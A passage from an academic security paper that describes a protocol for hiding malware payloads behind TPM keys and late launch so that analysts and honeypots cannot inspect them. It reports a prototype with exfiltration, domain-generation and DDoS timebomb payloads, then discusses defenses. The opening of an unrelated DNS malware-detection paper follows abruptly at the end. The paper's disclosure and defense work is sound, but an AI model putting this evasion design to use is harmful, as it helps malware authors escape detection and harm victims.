3. Generate hash Haik cert ≡ H(PubBlob((PK,SK)AIK))
4. Sign Haik cert with SKmalware, a private key known only to the Malware Distribution Platform whose corresponding public

key is known to all, to form Sign(SKmalware,Haik cert). Sign(SKmalware,Haik cert) is a credential of AIK legitimacy.
5. Run Pack(Sign(SKmalware,Haik cert),Haik cert, PKEK) to form

Mreq resp ≡ Enc(PKEK ,K2 ||Haik cert) ||EncSym(K2,Sign(SKmalware,Haik cert)). Mreq resp contains the credential
in a way such that it can only be extracted by a TPM with private EK SKEK when the credential was created for an AIK
stored in that TPM.

6. Send Mreq resp to Infected Platform

Infection Proof: Decrypt credential, assemble certificate chain from manufacturer certified EK to binding key (including credential)

1. Receive Mreq resp

2. Load AIK (PK,SK)AIK and binding key (PK,SK)bind with TPM LoadKey2
3. Use TPM ActivateIdentity, which decrypts Enc(PKEK ,K2 ||Haik cert) and retrieves K2 after comparing Haik cert

to that calculated from loaded AIK located in internal TPM RAM. If comparison fails, abort. (requires owner AuthData)
4. Symmetric decrypt EncSym(K2,Sign(SKmalware,Haik cert)) to retrieve Sign(SKmalware,Haik cert)
5. Certify (PK,SK)bind with TPM CertifyKey to produce

Sign(SKAIK ,H(PCRs(PubBlob((PK,SK)bind))) ||H(PKbind)) ≡ Sign(SKAIK ,Hbind cert)
6. Send Mproof ≡ Sign(SKmalware,Haik cert) ||PubBlob((PK,SK)AIK) ||Sign(SKAIK ,Hbind cert) ||

PubBlob((PK,SK)bind), all the evidence needed to verify TPM legitimacy, to Malware Distribution Platform

Malware Distribution Platform Payload Delivery: Verify certificate chain, respond with encrypted malicious payload if successful

1. Receive Mproof

2. Verify signatures of Haik cert by SKmalware using PKmalware, of Hbind cert using PKAIK . Check that Hbind cert

corresponds to the binding key by comparing hash of public key, PCRs to PubBlob((PK,SK)bind). Use
PubBlob((PK,SK)bind) to determine if binding key has a proper constraint for PCR18. Abort if verification fails or
binding key improperly locked.

3. Hash and sign the payload with SKmalware to form Sign(SKmalware,H(payload)) (only needs to be done once per
payload)

4. Run Pack(payload ||Sign(SKmalware,H(payload)), φ, PKbind) to form
Mpayload ≡ EncSym(K3, payload || Sign(SKmalware,H(payload))) ||Enc(PKbind,K3)

5. Send Mpayload to Infected Platform

Infection Payload Execute: Use late launch to set PCRs to allow use of binding key for decryption and to prevent OS from
accessing this key during use

1. Receive Mpayload

2. Late launch with MLE ≡ Infection Payload Loader
Infection Hidden Execute: Infection Payload Loader decrypts and executes the payload in the late launch environment.

1. Load (PK,SK)bind with TPM LoadKey2
2. Run Unpack(Mpayload, SKbind). This operation can succeed (and only in this program) because in Infection Hidden

Execute, PCR18 = Extend(0160,H(Infection Payload Loader)). Obtain payload || Sign(SKmalware,H(payload)).
3. Verify signature Sign(SKmalware,H(payload)) with PKmalware. Abort if verification fails.
4. Execute payload

5. If return to OS execution is desired, scrub payload from memory and extend random value into PCR18, then exit late launch

Figure 5: The cloaked malware protocol.
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key blob = TPM CreateWrapKey(parent key, PCR constraints) Generate new key with PCR constraints under the par-
ent key in hierarchy. The resultant key may be used for
encryption and decryption, but not signing.

key handle = TPM LoadKey2(key blob) Load a key for further use.
key blob = TPM MakeIdentity() Generate an identity key under SRK that may be used

for signing, but not encryption and decryption.
sym key =
TPM ActivateIdentity( identity key handle, CA response)

Verify that asymmetric CA response part corresponds
to identity key. If agreement, decrypt response and re-
trieve enclosed symmetric key.

(certificate, signature) =
TPM CertifyKey(certifying key handle, key handle)

Produce certificate of key contents. Sign certificate with
certifying key.

value = TPM NV ReadValue(index) Retrieve data from TPM NVRAM.

Table 2: Additional functions in the main protocol. Keywords that are in fixed-width font that begin with TPM are TPM commands
defined in the TPM 1.2 specification.

The analyst’s goal is to cause the malicious payload to
be encrypted with a key under her control, or to observe a
decrypted payload. She could try to create a binding key
blob during Infection Proof, and certify it with a legiti-
mate TPM. However, the analyst does not know the value
of tpmProof for any TPM because it is randomly gen-
erated within the TPM and is never present (even in en-
crypted form) outside the TPM. Without tpmProof , the
analyst cannot generate a key blob that the TPM will cer-
tify, even under a legitimate AIK. This argument relies on
the fact that the encryption system is non-malleable [25]
and chosen ciphertext secure. Otherwise, an attacker
might be able to take a legitimately created ciphertext with
tpmProof in it and modify it to an illegitimate ciphertext
with tpmProof in it, without knowing tpmProof .

The analyst could attempt to modify PCR constraints
on the binding key by tampering with the the public part
of the key. However, the TPM will not load the key in the
modified blob because a digest of the public portion of the
blob will not match the hash stored in the private portion.
Thus, storing the binding key in the public part of the blob
where it is accessible to the analyst does not compromise
the security of the protocol. If the binding key is a legiti-
mate TPM key with PCR constraints that do not lock it to
being observed only during Infection Hidden Execute,
the Malware Distribution Platform will detect it during
Malware Distribution Platform Payload Delivery, and
the platform will not encrypt the payload with that key.

The analyst could attempt to forge keys at other points
in the hierarchy: she could attempt to certify a binding
key she creates with an AIK that she creates. The Mal-
ware Distribution Platform only obtains the public por-
tions of these key blobs, and so cannot check directly in
Malware Distribution Certificate Handler that the AIK
is legitimate. The Malware Distribution Platform could
not verify the legitimacy of key blobs even with their pri-
vate portions as the Platform can neither decrypt the pri-
vate portions, nor know the value of tpmProof for the
Infected Platform. However, it encrypts with the EK a

credential that is a signed hash of the AIK it is sent by In-
fection Keygen running on an infected platform. The EK
is proven legitimate by a certificate of authenticity signed
by the TPMmanufacturer’s private key and verified by the
Malware Distribution Platform. The private EK is only
stored internal to the TPM, and only usable under con-
trolled circumstances like TPM ActivateIdentity;
to our knowledge, there is no way to compel the
TPM to decrypt arbitrary data with the private EK.
TPM ActivateIdentity will only decrypt a public
EK-encrypted blob of the form (K ||Haik cert) where
Haik cert is the hash of the public portion of an AIK key
blob where the AIK has been loaded into the TPM (and
thus has not been tampered with). Therefore, K cannot
be recovered for an illegitimate AIK, and the credential
Sign(SKmalware, Haik cert) cannot be recovered. With-
out this credential, the protocol will abort in Malware
Distribution Platform Payload Delivery (step 2). The
credential cannot be forged as it contains a signature with
a private key known only by the Malware Distribution
Platform.

The analyst could try to execute forged payloads with
Infection Hidden Execute because the public binding
key is visible. However, because Infection Hidden Exe-
cute will only execute payloads signed by a key unknown
to the analyst, this will not work. No program other than
Infection Hidden Execute and the programs it executes
can access the binding key.

The analyst could try to set the PCR values to those
specified in (PK, SK)bind, but run a program other
than Infection Payload Loader. This would allow her
to decrypt the payload (step 2 in Infection Hidden Ex-
ecute). The values of PCRs are affected by processor
events and the SINIT code module. The CPU instruction
GETSEC[SENTER] sends an LPC bus signal to initial-
ize the dynamically resettable TPM PCRs (PCRs 16-23)
to 160 bits of 0s. No other TPM capability can reset these
PCRs to all 0s; a hardware reset sets them to all 1s. So an
analyst can only set PCR 18 to all 0s with a late launch
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executable. SINIT extends PCR 18 with a hash of the
MLE. Therefore, to set PCR 18, the analyst must run an
MLE with the correct hash. Assuming the hash function is
collision resistant, only the Infection Payload Loader will
hash to the correct value, so the analyst cannot run an al-
ternate program that passes the PCR check. The payload
loader terminates at payload end by extending a random
value into PCR 18, so the analyst cannot use the key after
the late launch returns.

4.4 Prevention of malware analysis
Having described our protocol for cloaked malware ex-
ecution, we review how it defeats conventional malware
analysis. While our list of malware analysis techniques
may not be exhaustive, to our knowledge, TPM cloaking
can be defeated only by TPM manufacturer intervention,
or by physical attacks, like direct monitoring of hardware
events or tampering with the TPM or system buses. Both
of these are discussed in more detail in Section 6.

Static analysis. Cloaked computations are encrypted
and are only decrypted once the TPM has verified that the
PCRs match those in the key blob. The malware author
specifies PCR values that match only the Infection Pay-
load Loader, so no analyst program can decrypt the code
for a cloaked computation.
Honeypots. Honeypots are open systems that collect

and observe malware, possibly using some combination
of emulation, virtualization and instrumented software.
Purely software-based honeypots can try to follow our
protocol without using a legitimate hardware TPM, but
will fail to convince a malware distributing machine of
their authenticity. This failure is due to their inability to
decryptEnc(PKEK , K2 ||Haik cert), which is encrypted
with the public EK that is certified by a TPM manufac-
turer in CEK , and the private part of which is not present
outside of a TPM. Thus these honeypots will never re-
ceive the malicious payload. If a honeypot uses a legit-
imate hardware TPM, it will obtain a malicious payload.
However, it can only execute the payload with late launch,
which prevents software monitoring of the unencrypted
payload.

Virtualization. Software-based TPMs, virtualized
TPMs, and virtual machine monitors communicating with
hardware TPMs cannot defeat cloaking. Hardware TPMs
have certificates of authenticity that are verified in our
malware distribution protocol. A software-based TPM ei-
ther will not have a certificate, or will have a certificate
that is distinguishable from a hardware TPM. Either way,
it will fail to convince a malware distribution platform of
its authenticity. An analyst cannot use a virtual machine
to defeat cloaking.

Hardware TPM manufacturers should not certify
software-based TPMs as authentic hardware TPMs.
Software-based TPMs cannot provide the same secu-
rity guarantees as hardware-based TPMs. The PCRs of

software-based TPMs might not correspond to platform
state in any way, as they can be modified by sufficiently
privileged software. A software TPM cannot attest to a
particular software environment, because it does not know
the true software environment—it could be executing in a
virtual environment. Any certificate for a software-based
TPM must identify the TPM as software otherwise the
chain of trust is broken, defeating remote attestation (a
major purpose of TPMs). No TPM manufacturer cur-
rently signs software TPM EKs, nor (to our knowledge)
do any plan to do so. Prior work on virtualizing TPMs
emphasizes that virtual TPMs and their certificates must
be distinguishable from hardware TPMs, as the two do
not provide the same security guarantees [17]. A malware
distribution platform can avoid software and virtual TPM
certificates by using a whitelist of known-secure hardware
TPM certificate distributors compiled into the malware.

Software, such as a virtual machine monitor, cannot
communicate with a legitimate hardware TPM to obtain
and decrypt the malicious payload without running the
payload in late launch. The only way that the mali-
cious payload can be decrypted is through use of a private
key stored in the TPM that can only be used when the
TPM PCRs are in a certain state. This state can only be
achieved through late launch, which is a non-virtualizable
function, and it prevents software monitoring of the unen-
crypted payload. TPM late-launch is designed to be non-
virtualizable, so that TPM hardware can provide a com-
plete and reliable description of platform state.

4.5 Attack assumptions
Like any attack, ours has particular assumptions. As dis-
cussed in Section 2.1, our protocol requires late launch
instructions, which are privileged, so Infection Hidden
Execute must run at kernel privilege levels.

More importantly, our attack requires knowledge of
SRK and owner AuthData values. There are two main
possibilities for acquiring this AuthData previously men-
tioned in Section 3: snooping and overriding with physi-
cal presence.

AuthData can be snooped from kernel or application
(e.g. TrouSerS) memory or from logged keystrokes,
which are converted into AuthData by a hash. The like-
lihood of successful AuthData snooping depends on the
particular AuthData being gathered. The SRK must be
loaded to load any other key stored in the TPM, so there
will be regularly occurring chances to snoop the SRK Au-
thData. Owner AuthData, on the other hand, is required
for fewer, and generally more powerful, operations. It is
then liable to be more difficult to acquire.

One could enter all AuthData remotely to a platform
that contains a TPM, but we consider it unlikely that this
is done in practice. TPM arguments could be HMACed
by a trusted server, but such a server can become a perfor-
mance or availability bottleneck. Use of a trusted server
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is also problematic for use of laptops that may not always
have network connectivity. For these cases, it may be pos-
sible to enter AuthData into a separate trusted device that
then can assist in authorizing TPM commands. However,
such devices are currently not deployed. It is currently
more likely that AuthData would be presented through a
USB key or entered at the keyboard, and in both cases it
can be snooped. In addition, applications and OS services
used to provide AuthData to the TPMmay not sufficiently
scrub sensitive data from memory.

To demonstrate the possibility of acquiring AuthData
from the OS, we virtualized a Windows 7 instance, and
used OS-provided control panels to interact with the
TPM. When AuthData was read from a removable drive,
it remained in memory for long periods of time on an idle
system, even after the relevant control panels were closed.
The entire contents of the file containing the AuthData
were present in memory for up to 4 hours after the Auth-
Data was read, and the removable drive ejected from the
system. The AuthData itself remained in memory for sev-
eral days, before the system was eventually shut down.

If malware can use mechanisms for asserting physical
presence at the platform, it can clear the current TPM
owner and install a new owner, preventing the need to
snoop any AuthData. While physical presence mecha-
nisms should be tightly controlled, their implementation
is left up to TPM and BIOS manufacturers. Our experi-
ence setting up BitLocker (see Section 3.3) indicates that
the process can be confusing, and that it may be possible
to convince a user to enable malware to obtain the neces-
sary authorization to use TPM commands.

4.6 Distributing the malware distribution platform
As written, the malware distribution platform consists of a
host (or small number of hosts) controlled by the attacker
and trusted with the attacker’s secret key (SKmalware).
This design creates a single point of failure.

The Malware Distribution Platform computation con-
sists of arithmetic and cryptographic work (with no OS
involvement) with an embedded secret. It is a perfect can-
didate to run as a cloaked computation. An attacker can
distribute work done on the Malware Distribution Plat-
form to compromised hosts using cloaked computations.

5 Implementation and Evaluation
We implemented a prototype of our attack, which con-
tains implementations of the establishment of a TPM-
controlled binding key, the decryption and execution of
payloads in late launch, and sample attack payloads. In
this section, we describe each of these pieces in turn.
The prototype implementation consists of five pro-

grams for the key establishment protocol (described in
Table 3), the Infection Payload Loader PAL and ported
TrouSerS TPM utility code, payload programs, and sup-
porting code to connect the pieces. The key establish-

ment programs are about 3,600 lines of C, the Infection
Payload Loader is another 400 lines of C, with another
150 lines of C added to provide TPM commands through
selections of TrouSerS TPM code which themselves re-
quired minor modifications. The payloads were about 50
lines apiece with an extra 75 line supporting DSA rou-
tine, which was necessary for verifying Ubuntu’s reposi-
tory manifests. All code size measurements are as mea-
sured by SLOCCount [53].

5.1 Binding key establishment

We implemented a prototype of the protocol described in
Figure 5 using the TrouSerS [6] (v0.3.6) implementation
of the TCG software stack (TSS) to ease development.

Our implementation follows the protocol, except
steps 2 to 3 in Infection Keygen which use TSS
API call Tspi CollateIdentityRequest. This
call does not produce Mreq (step 4), but instead
produces EncSym(K,PubBlob((PK, SK)AIK)) and
Enc(PKmalware, K) that must be decrypted in the Mal-
ware Distribution Platform Certificate Handler. While the
protocol specifies network communication, the prototype
communicates via files on one machine. TrouSerS is not
necessary for malware cloaking; TPM commands made
by TrouSerS could be made directly by malware.

5.1.1 EK certificate verification

We verified the authenticity of our ST Microelectronics
TPM endorsement key (EK). However, we had to over-
come obstacles along the way, and there may be obstacles
with other TPM manufacturers as well. For example, we
needed to work around unexpected errors in reading the
EK certificate from TPM NVRAM. Reads greater than or
equal to 863 bytes in length return errors, even though the
reads seem compatible with the TPM specification, and
the EK certificate is 1129 bytes long. We read the certifi-
cate with multiple reads, each smaller than 863 bytes.
The intermediate certificates in the chain linking the

TPM to a trusted certificate authority were not available
online, and we obtained them from ST Microelectronics
directly. However, some manufacturers (e.g. Infineon)
make the certificates in their chains available online [11].
To deploy TPM-based cloaking on a large scale, the veri-
fication process for a variety of TPMs should be tested.
For the TPM we tested, the certificate chain was of

length four including the TPM EK certificate and rooted
at the GlobalSign Trusted Computing Certificate Author-
ity. There were two levels of certificates within ST Mi-
croelectronics: Intermediate EK CA 01 (indicating there
are likely more intermediate CAs) and a Root EK CA.

5.2 Late launch environment establishment

Wemodified code from the Flicker [40] (v0.2) distribution
to implement our late launch capabilities. Flicker pro-
vides a kernel module that allows a small self-contained
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program, known as a Piece of Application Logic or PAL,
to be started in late launch with a desired set of parameters
as inputs in physical memory. The kernel module accepts
a PAL and parameters through a sysfs filesystem in-
terface in Linux, then saves processor context before per-
forming a late launch, running the PAL in late launch, and
then restoring the processor context after the PAL com-
pletes. Output from PALs is available through the filesys-
tem interface when processor context is restored.

We implemented the Infection Payload Loader as a
PAL, which takes the encrypted and signed payload, the
symmetric key used to encrypt the payload encrypted with
the binding key, and the binding key blob as parameters.
We used the PolarSSL [15] embedded cryptographic li-
brary for all our cryptographic primitives (AES encryp-
tion, RSA encryption and signing, SHA-1 hashing and
SHA-1 HMACs).

We ported code from TrouSerS to handle use of
TPM capabilities that were not implemented by the
Flicker TPM library (TPM OIAP, TPM LoadKey2,
TPM Unbind). We replaced the TrouSerS code depen-
dence on OpenSSL with PolarSSL. We fixed two small
bugs in Flicker’s TPM driver that seem to be absent from
the recent 0.5 release due to use of an alternate driver.

5.3 Payloads
We implemented payloads for the three examples from
Section 2.2. Here we describe the payloads in detail.

Domain generation The domain generation payload
provides key functionality for a secure command and con-
trol scheme, in which malware generates time-based do-
main names unpredictable to an analyst. As input, the
payload takes the contents of a package release manifest
for the Ubuntu distribution, and its associated signature.
The payload verifies the signature against a public key
within itself. If the signature verifies correctly, the pay-
load extracts the date contained in the manifest. The pay-
load outputs an HMAC of the date with a secret key con-
tained in the encrypted payload.

Assuming an analyst is unable to provide correctly
signed package manifests for future dates, this payload
provides a secure random value unpredictable to an ana-
lyst, but generatable in advance by the payload’s author
(because the author knows the secret HMAC key). Such
a random value can be used as a seed in a domain genera-
tion scheme similar to that of the Conficker worm.

Data exfiltration The data exfiltration payload searches
for sensitive data (we looked for credit card numbers), and
returns results in encrypted form. To avoid analysis by
correlating input with the presence or absence of output,
the payload generates some output regardless of whether
sensitive data is present in the file.

Timebomb This payload implements key cloaked func-
tionality necessary for a timed DDoS attack that keeps the

target and time secret until the attack begins. Like the do-
main generation payload, it uses signed package release
manifests to establish an authenticated current timestamp.
Once the payload has verified the signature on the mani-
fest, it extracts the date. If the resultant date is later than
a value encoded in the encrypted payload, it releases the
time-sensitive information as output. This payload out-
puts a secret AES key contained in the encrypted payload.
The key can be used to decode a file providing further in-
structions, such as the DDoS target, or a list of commands.

5.4 Evaluation

We tested our implementation on a Dell Optiplex 780 with
a quad-core 2.66 Ghz Intel Core 2 CPU with 4 GB of
RAM running Linux 2.6.30.5. We used a ST Microelec-
tronics ST19NP18 TPM, which is TCG v1.2 compliant.
Elapsed wallclock times for protocol phases are indicated
in Table 4. We used 2048-bit RSA encryption and 128-bit
AES encryption. The malicious payloads varied in size
from 2.5 KB for the command and control to 0.5 KB for
the text search.

Costs for infecting a machine
Action Time (s)
Infected Platform generates binding key 19.4 ± 11.2

Infected Platform generates AIK and credential
request

31.6 ± 17.9

Malware Distribution Platform processes re-
quest

0.07± 0

Infected Platform certifies key 5.9 ± 0.012

Infected Platform decrypts credential 6.0 ± 0.010

Malware Distribution Platform verifies proof 0.04± 0

Total 63.1 ± 22.2

Per-payload execution statistics Time (s)
MLE setup 1.05 ± 0.01

Time to decrypt payload 3.07 ± 0.01

Command and Control 0.008 ± 0

DDoS Timebomb 0.008 ± 0

Text Search 0.004 ± 0

Time system appears frozen 3.22

Total MLE execution time 4.27

Table 4: Performance of different phases. Error bars are stan-
dard deviations of sample sets. A standard deviation of “0” indi-
cates less than 1 ms. Statistics for the protocol up to late launch
were calculated from 10 protocol cycles run one immediately af-
ter the other, while late launch payload statistics were calculated
from 10 other runs per payload, one immediately after the other.

The main performance bottleneck is TPM operations,
especially key generation. We verified that the significant
and variable duration of key generation was directly due
to underlying TPM operations. The current performance,
one minute per machine infection, allows rapid propaga-
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Program Purpose Correspondence to Protocol
tpm genkey Generates the binding key and output key blob to a file. Infection Keygen step 1
aik gen Generates an AIK and accompanying certification re-

quest. Outputs key blob and request to files.
Infection Keygen steps 2– 4

tpm certify Certifies the binding key under the AIK. Infection Proof step 5
infected Two modes: proofwhich generates a proof of authen-

ticity to convince the Malware Distribution Platform to
distribute an encrypted payload and payload which
loads the binding key and decrypts the payload.

proof: Infection Proof steps 1–4 and
6, payload: Infection Hidden Exe-
cute steps 1–3

platform Two modes: req which handles a request from the In-
fected Platform and returns an encrypted credential and
proof which validates a proof of authenticity from the
Infected Platform

req: Malware Distribution Platform
Certificate Handler, proof: Mal-
ware Distribution Platform Payload
Delivery

Table 3: Programs that comprise the key establishment part of the implementation and their functions.

tion of malware (hosts can be compromised concurrently).
Performance is most important for operations on the

Malware Distribution Platform, which may have to ser-
vice many clients in rapid succession, and in the final
payload decryption, as it occurs in late launch with the op-
erating system suspended. The payload decryption must
occur per payload execution, which in our motivating sce-
narios will be at least daily. The slowest operation on the
Malware Distribution Platform can handle tens of clients
per second with no optimization whatsoever.

We provide several numbers that characterize late
launch payload performance. The MLE setup phase of
the Flicker kernel module involves allocation of memory
to hold an MLE and configures MLE-related structures
like page tables used by SINIT to measure the MLE. The
Flicker module then launches the MLE, which in our case
contains the Infection Payload Loader PAL. This PAL first
decrypts the payload, which occupies most MLE execu-
tion time for our experiments. The payload runs, the MLE
exits, and the kernel module restores prior system state.

The late launch environment execution can be as long
as 3.2 s, which is long enough that an alert user might no-
tice the system freeze (since the late launch environment
suspends the OS) and become suspicious. Then again,
performance variability is a hallmark of best-effort operat-
ing systems like Linux and Windows. The rootkit control
program can use heuristics to launch the payload when
the platform is idle or the user is not physically present.

Payload decryption performance is largely based on the
speed of asymmetric decryption operations performed by
the TPM. The use of TPM key blobs here involves two
asymmetric decryption operations, one to allow use of
the private portion of the key blob (which is stored in
encrypted form), and one to use this private key for de-
crypting an encrypted symmetric key. Symmetric AES
decryption took less than 1% of total payload decryption
time in all cases, and is unlikely to become more costly
even with significant increases in payload size: We found
that a 90 KB AES decryption with OpenSSL (36× larger

than our largest payload), took only 650 microseconds.

6 Defenses
We now examine defenses against the threat of using
TPMs to cloak malware. We present multiple potential
directions for combating this threat. In general, we find
that there is no clear “silver bullet” and many of the pro-
posed solutions require tradeoffs in terms of the security
or usability of the TPM system.

6.1 Restricting late launch code

One possibility would be to restrict the code that can be
used in late launch. For example, a system could im-
plement a security layer to trap on SENTER instructions.
With recent Intel hardware, a hypervisor could provide
admission control, gaining control whenever SENTER is
issued and protecting its memory via Extended Page Ta-
ble protections. The hypervisor could enforce a range of
policies with its access to OS and user state. For example,
the TrustVisor [39] hypervisor likely enforces a policy to
deny all MLEs since its goal is to implement an indepen-
dent software-based trusted computing mechanism.

Restricting access to the hardware TPM is one of the
best approaches to defending against our attack, but such
a defense is not trivial. Setup and maintenance of this
approach may be difficult for a home or small business
user. Use of a security layer is more plausible in an enter-
prise or cloud computing environment. In that setting, the
complexity centers on policy to check whether an MLE is
permitted to execute in late launch. The most straightfor-
ward methods are whitelisting or signing MLEs. These
raise additional policy issues about what software state to
hash or sign, how to revoke hashes or keys, and how to
handle software updates. Any such system must also log
failed attempts and delay or ban abusive users.

It is possible to use other system software to control ad-
mission to MLEs. SINIT, which itself is signed by Intel,
could restrict admission to MLEs since all late launches
first transfer control to SINIT. However, this would re-
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quire SINIT, which is low-level system software, to en-
force access control policy. It would most likely do this by
only allowing signed MLEs to run. There are then two op-
tions: either MLEs must be signed by a key that is known
to be trusted, or SINIT must also contain code for key
management operations like retrieving, parsing, and vali-
dating certificates. In the former case, the signing key is
most likely to be from Intel; Intel chipsets can already ver-
ify Intel-signed data [12]. However, this makes third party
developmentmore difficult; code signing is most effective
when updates are infrequent and the signing party is the
code developer. For late launch MLEs, it is quite possi-
ble that neither will be the case. The latter case, having
SINIT manage keys, is likely to be difficult to imple-
ment, especially since SINIT cannot use OS services.

6.2 TPM Manufacturer Cooperation

A malware analyst could defeat our attack with the co-
operation of TPM manufacturers. Our attack uses keys
certified to be TPM-controlled to distinguish communi-
cation with a legitimate TPM from an analyst forging re-
sponses from a TPM. A TPM manufacturer cooperating
with analysts and certifying illegitimate EKs would defeat
our attack, by allowing the analyst to create a software-
controlled late-launch environment. However, any leak of
a certificate for a non-hardware EK would undermine the
security of all TPMs (or at least all TPMs of a given man-
ufacturer). Malware analysis often occurs with the coop-
eration of government, academic, and commercial institu-
tions, which raises the probability of a leak.

Alternately, a manufacturer might selectively decrypt
data encrypted with a TPM’s public EK on-line upon re-
quest. Such a service would compromise the Privacy CA
protocol at the point where the Privacy CA encrypts a
credential with the EK for a target TPM-containing plat-
form. The EK decryption service would allow an analyst
to obtain a credential for a forged (non-TPM-generated)
AIK. This is less dangerous than the previous situation,
as now only parties that trust the Privacy CA (in our case
the Malware Distribution Platform) could be mislead by
the forged AIK. However, this approach also places ad-
ditional requirements on the manufacturer, in that it must
respond to requests for decryption once per Malware Dis-
tribution Platform, rather than once per analyst. Addition-
ally, the EK decryption service has potential for abuse by
an analyst if legitimate Privacy CAs are deployed.

6.3 Attacks on TPM security

Cloaking malware with the TPM relies on the security of
TPM primitives. A compromise of one or more of these
primitives could lead to the ability to decrypt or read an
encrypted payload. For instance, the exclusive access of
late launch code to system DRAM is what prevents ac-
cess to decrypted malicious payloads. A vulnerability in
the signed code module that implements the late launch

mechanism (and enables this exclusive access) could al-
low an analyst to read a decrypted payload [55].

Physical access to a TPM permits other attacks. Some
TPM uses are vulnerable to a reset of the TPM without re-
setting the entire system, by grounding a pin on the LPC
bus [32]. Late launch, as used by our malware, is not vul-
nerable to this attack. LPC bus messages can be eaves-
dropped or modified [37], revealing sensitive TPM infor-
mation. In addition, sophisticated physical deconstruc-
tion of a TPM can expose protected secrets [51]. While
TPMs are not specified to be resistant to physical attack,
the tamper-resistant nature of TPM chips indicates that
physical attacks are taken seriously. It is likely that phys-
ical attacks will be mitigated in future TPM revisions.

One potential analysis tool is a cold boot attack [29]
in which memory is extracted from the machine during
operation and read on a different machine. In practice
the effectiveness of cold boot attacks will be tempered by
keeping malicious computations short in duration, as it
is only necessary to have malicious payloads decrypted
while they are executing. Additionally, it may be possible
to decrypt payloads in multiple stages , so only part of the
payload is decrypted in memory at any one time. Mem-
ory capture is a serious concern for data privacy in legit-
imate TPM-based secure computations as well. It is im-
portant for future trusted computing solutions to address
this issue, and the addition of mechanisms that defend
against cold boot attacks would increase the difficulty of
avoiding our attack.

6.4 Restricting deployment and use of TPMs

Our attack requires that the malware platform knows SRK
and owner AuthData values for the TPM. The danger of
malware using TPM functionality could be mitigated by
careful control of AuthData. Existing software that uses
the TPM takes some care to manage these values. For
instance, management software used in Microsoft Win-
dows prevents the user from storing owner AuthData on
the same machine as the TPM. Instead, it can be saved to
a USB key or printed in hard copy. Administrators who
need TPM functionality would ideally understand these
restrictions and manage these values appropriately. Aver-
age users will be more difficult to educate.

The malware platform could initialize a previously
uninitialized TPM, thereby generating the initial Auth-
Data. For our test machines, TPM initialization is pro-
tected by a single BIOS prompt that can be presented on
reboot at the request of system software. To prevent an in-
experienced user from initializing a TPM at the behest of
malicious software, manufacturers could require a more
involved initialization process. The BIOS could require
the user to manually enter settings to enable system soft-
ware to assert physical presence, rather than presenting a
single prompt. More drastically, a user could be required
to perform some out-of-band authentication (such as call-
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ing a computer manufacturer) to initialize the TPM. How-
ever, all of these security features inhibit TPM usability.

6.5 Detection of malware that uses TPMs

Traffic analysis is a common malware detection tech-
nique. Malware that uses the TPM will cause usage pat-
terns that might be anomalous and therefore could come
to the attention of alert administrators. Of course detect-
ing anomalous usage patterns is a generally difficult prob-
lem, especially if TPM use becomes more common.

7 Related Work
Malware Analysis. TPM cloaking is a new method for
frustrating static and dynamic analysis that is more pow-
erful than previous methods because it uses hardware to
prevent monitoring software from observing unencrypted
code. The most effective analysis technique would be a
variant on the cold boot attack [29], where the infected
machine’s DRAM chips were removed during the late
launch session. Note that a late launch session generally
only lasts seconds. If the DRAM chips are pulled out too
early, the payload will still be encrypted; too late and the
payload is scrubbed out of memory. The analyst could
also snoop the memory bus or the LPC bus. Note that
both of these are hardware techniques, and they are both
effective attacks against legitimate TPM use.

Our protocol does run substantial malware outside the
cloaked computation. All such malware is susceptible to
static analysis [30, 47, 23], dynamic analysis [19, 58, 36],
hybrids [24, 35] , network filtering [16, 49], and network
traffic analysis [20]. To effectively use the TPM the mal-
ware must only decrypt its important secrets within the
cloaked computation.

Polymorphic malware changes details of its encryption
for each payload instance to avoid network filtering. Our
system falls partially into the polymorphic group as we
encrypt our payload. However dynamic analysis tech-
niques [36] are effective against polymorphic encryption
because such schemes must decrypt their payload during
execution. Conficker as well as othermodernmalware use
public key cryptography to validate or encrypt a malicious
payload [43], as our cloaking protocol does.
Trusted Computing. The TPM can be used in a vari-
ety of contexts to provide security guarantees beyond that
of most general-purpose processors. For instance, it can
be used to protect encryption keys from unauthorized ac-
cess, as in Microsoft’s BitLocker software [7], or to attest
that the computer platform was initialized in some known
state, as in the OSLO boot loader [32]. Flicker [40] uses
TPM late launch functionality to provide code attestation
for pieces of code that are instantiated by, and return to, a
potentially untrusted operating system. Bumpy [41] uses
late launch to protect sensitive input from potentially un-
trusted system software. Our prototype malware platform
uses the same functionality, adding encryption to conceal

the code payload.
Cryptography. Using cryptography for data exfiltration
was suggested by Young and Yung [59]. Bethencourt,
Song, and Waters [18] showed how using singly homo-
morphic encryption one could do cryptographic exfiltra-
tion. However, the techniques were limited to a single
keyword search from a list of known keywords and the use
of cryptography significantly slowed down the exfiltration
process. Using fully homomorphic encryption [28] we
could achieve expressive exfiltration, however, the pro-
cess would be too slow to be viable in practice.

8 Conclusions
Malware can use the Trusted Platform Module to make its
computation significantly more difficult to analyze. Even
though the TPM was intended to increase the security of
computer systems, it can undermine computer security
when used by malware.

We explain several ways that TPM-enabled malware
can be defeated using good engineering practice. TPMs
will continue to be widely distributed only if they demon-
strate value and do not bring harm. Establishing and dis-
seminating good engineering practice for TPM manage-
ment to both IT professionals and home users is an essen-
tial part of the TPM’s future.
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Abstract

In recent years Internet miscreants have been leveraging
the DNS to build malicious network infrastructures for
malware command and control. In this paper we pro-
pose a novel detection system called Kopis for detecting
malware-related domain names. Kopis passively moni-
tors DNS traffic at the upper levels of the DNS hierar-
chy, and is able to accurately detect malware domains by
analyzing global DNS query resolution patterns.

Compared to previous DNS reputation systems such
as Notos [3] and Exposure [4], which rely on monitor-
ing traffic from local recursive DNS servers, Kopis offers
a new vantage point and introduces new traffic features
specifically chosen to leverage the global visibility ob-
tained by monitoring network traffic at the upper DNS hi-
erarchy. Unlike previous work Kopis enables DNS oper-
ators to independently (i.e., without the need of data from
other networks) detect malware domains within their au-
thority, so that action can be taken to stop the abuse.
Moreover, unlike previous work, Kopis can detect mal-
ware domains even when no IP reputation information is
available.

We developed a proof-of-concept version of Kopis,
and experimented with eight months of real-world data.
Our experimental results show that Kopis can achieve
high detection rates (e.g., 98.4%) and low false positive
rates (e.g., 0.3% or 0.5%). In addition Kopis is able to
detect new malware domains days or even weeks before
they appear in public blacklists and security forums, and
allowed us to discover the rise of a previously unknown
DDoS botnet based in China.

1 Introduction

The Domain Name System (DNS) [17, 18] is a funda-
mental component of the Internet. Over the years In-
ternet miscreants have used the DNS to build malicious
network infrastructures. For example, botnets [1, 21, 27]

and other types of malicious software make use of do-
main names to locate their command and control (C&C)
servers and communicate with attackers, e.g., to ex-
filtrate stolen private information, wait for commands
to perform attacks on other victim machines, etc. In
